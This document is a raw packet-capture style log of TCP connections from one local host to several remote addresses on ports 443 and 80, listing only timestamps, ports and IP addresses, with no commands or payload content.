Nov 28, 2024 17:24:06.002718925 CET	49711	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:06.002940893 CET	49711	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:06.002958059 CET	443	49711	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:06.003062010 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:06.003077984 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:06.563787937 CET	443	49708	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:06.563934088 CET	49708	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:06.580378056 CET	49708	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:06.580419064 CET	443	49708	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:06.580665112 CET	443	49708	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:06.581012964 CET	49708	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:06.581068993 CET	49708	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:06.581093073 CET	443	49708	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:07.320470095 CET	443	49708	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:07.320492029 CET	443	49708	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:07.320540905 CET	443	49708	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:07.320600986 CET	443	49708	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:07.320652008 CET	49708	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:07.320697069 CET	49708	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:07.321322918 CET	49708	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:07.321345091 CET	443	49708	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:07.321360111 CET	49708	443	192.168.2.6	20.190.181.5
Nov 28, 2024 17:24:07.321366072 CET	443	49708	20.190.181.5	192.168.2.6
Nov 28, 2024 17:24:07.745264053 CET	443	49709	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:07.745415926 CET	49709	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:07.748245001 CET	49709	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:07.748256922 CET	443	49709	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:07.748589993 CET	443	49709	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:07.751214981 CET	49709	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:07.751341105 CET	49709	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:07.751346111 CET	443	49709	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:07.751615047 CET	49709	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:07.799331903 CET	443	49709	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:07.838638067 CET	443	49711	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:07.838768959 CET	49711	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:07.869949102 CET	49711	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:07.869967937 CET	443	49711	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:07.870261908 CET	443	49711	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:07.870328903 CET	49711	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:07.872687101 CET	49711	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:07.872720003 CET	443	49711	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:07.951141119 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:07.951231003 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:07.954441071 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:07.954459906 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:07.954715014 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:07.954725027 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:07.954742908 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:07.954787970 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:08.273406029 CET	443	49711	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:08.273427010 CET	443	49711	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:08.273597002 CET	49711	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:08.273622036 CET	443	49711	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:08.273672104 CET	49711	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:08.279668093 CET	443	49711	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:08.279730082 CET	443	49711	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:08.279817104 CET	49711	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:08.314089060 CET	443	49709	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:08.314377069 CET	443	49709	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:08.314464092 CET	49709	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:08.314820051 CET	49709	443	192.168.2.6	20.198.119.143
Nov 28, 2024 17:24:08.314841032 CET	443	49709	20.198.119.143	192.168.2.6
Nov 28, 2024 17:24:08.319389105 CET	49711	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:08.319395065 CET	443	49711	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:08.591454029 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:08.591547966 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:08.591586113 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:08.591659069 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:08.591742039 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:08.591789007 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:08.591794968 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:08.591835976 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:08.604715109 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:08.604748964 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:09.272497892 CET	49714	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:09.272557020 CET	443	49714	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:09.272650003 CET	49714	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:09.273422003 CET	49714	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:09.273442984 CET	443	49714	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:09.427834034 CET	49715	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:09.427947998 CET	443	49715	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:09.428024054 CET	49715	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:09.429430962 CET	49715	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:09.429464102 CET	443	49715	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:11.691612005 CET	443	49714	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:11.691684961 CET	49714	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:11.695841074 CET	49714	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:11.695848942 CET	443	49714	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:11.696090937 CET	443	49714	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:11.700577021 CET	49714	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:11.700599909 CET	49714	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:11.700609922 CET	443	49714	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:11.700936079 CET	49714	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:11.720025063 CET	443	49715	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:11.720093966 CET	49715	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:11.723051071 CET	49715	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:11.723076105 CET	443	49715	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:11.723403931 CET	443	49715	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:11.743340969 CET	443	49714	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:11.748315096 CET	49715	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:11.748423100 CET	49715	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:11.748435020 CET	443	49715	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:11.748718977 CET	49715	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:11.795335054 CET	443	49715	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:11.835205078 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:11.957421064 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:11.957494020 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:11.958193064 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:12.084784985 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:12.254484892 CET	443	49714	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:12.254575014 CET	443	49714	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:12.254736900 CET	49714	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:12.254863977 CET	49714	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:12.254883051 CET	443	49714	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:12.428136110 CET	443	49715	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:12.428533077 CET	443	49715	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:12.428617954 CET	49715	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:12.430668116 CET	49715	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:12.430706024 CET	443	49715	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:13.122298956 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:13.122348070 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:13.122421980 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:13.132766962 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:13.132781029 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:13.350421906 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:13.350532055 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:13.361979961 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:13.488800049 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:13.563880920 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:13.563929081 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:13.563997030 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:13.564515114 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:13.564527988 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:13.564584970 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:13.568193913 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:13.568212032 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:13.572602034 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:13.572645903 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:13.572772026 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:13.573174953 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:13.573190928 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:13.573246002 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:13.573263884 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:13.846992016 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:13.849462986 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:13.950884104 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:14.071527958 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:14.405412912 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:14.405446053 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:14.405488968 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:14.405533075 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:14.606194019 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:14.606256008 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:14.607777119 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:14.727920055 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:14.759116888 CET	49673	443	192.168.2.6	173.222.162.64
Nov 28, 2024 17:24:14.817028999 CET	49674	443	192.168.2.6	173.222.162.64
Nov 28, 2024 17:24:14.933967113 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:14.934056997 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:14.938574076 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:14.938585043 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:14.938832045 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:14.948267937 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:14.995336056 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.062362909 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.062406063 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.062494993 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:15.062958956 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.062997103 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:15.063013077 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.063018084 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.063047886 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:15.063124895 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:15.063843012 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.063889027 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.063921928 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:15.066786051 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:15.072650909 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.072782993 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:15.149729967 CET	49672	443	192.168.2.6	173.222.162.64
Nov 28, 2024 17:24:15.263200045 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.263320923 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:15.266735077 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:15.363732100 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.363814116 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.370718002 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.370726109 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.370987892 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.371156931 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.371170998 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.371450901 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.376454115 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.376467943 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.376482964 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.376497984 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.376621008 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.376631021 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.376708984 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.376871109 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.388252020 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.419708014 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.419859886 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.420196056 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.420219898 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.420234919 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.420430899 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.420449972 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.420743942 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.423000097 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.423008919 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.423243999 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.423252106 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.423264027 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.423374891 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.617750883 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.617777109 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.617873907 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.617897034 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.617938995 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.618000031 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.655822039 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.655839920 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.655924082 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.655936003 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.655975103 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.656136990 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.735860109 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.735999107 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:15.754683018 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:15.754683018 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:15.780616045 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.780637980 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.780716896 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.780729055 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.780729055 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.780908108 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.782715082 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.782737017 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.792778969 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.792803049 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.792964935 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.792995930 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.793302059 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.822768927 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.822793961 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.823154926 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.823169947 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.823570013 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.847212076 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.847232103 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.847451925 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.847461939 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.847600937 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.864769936 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.864789009 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.864876032 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.864886045 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.864989042 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.874644995 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.874670029 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.874723911 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.874732971 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.874938011 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.874958038 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.875005007 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:15.945339918 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.945367098 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.945382118 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.945482016 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.945508957 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.945544004 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.945590019 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.976903915 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.976994991 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.977266073 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.977338076 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.977348089 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.977432966 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.977461100 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.978002071 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.983800888 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:15.983817101 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:15.994036913 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.994064093 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.994179964 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:15.994191885 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:15.994254112 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.009421110 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.009443045 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.009516954 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.009524107 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.009587049 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.022531033 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.022556067 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.022634983 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.022643089 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.022686005 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.039803982 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.039823055 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.039901018 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.039916992 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.040039062 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.053045034 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.053062916 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.053131104 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.053138971 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.053170919 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.067157030 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.067174911 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.067260981 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.067270041 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.067331076 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.071626902 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.071707010 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.071712017 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.071727037 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.071775913 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.077765942 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.077776909 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.077789068 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.077794075 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.124664068 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:16.124766111 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:16.124778986 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:16.124820948 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:16.127907991 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:16.127974033 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:16.128062963 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:16.181790113 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.181889057 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.182018995 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.183801889 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.183845043 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.183906078 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.184372902 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.184397936 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.184464931 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.186002970 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:16.186031103 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:16.186181068 CET	49724	443	192.168.2.6	13.107.246.63
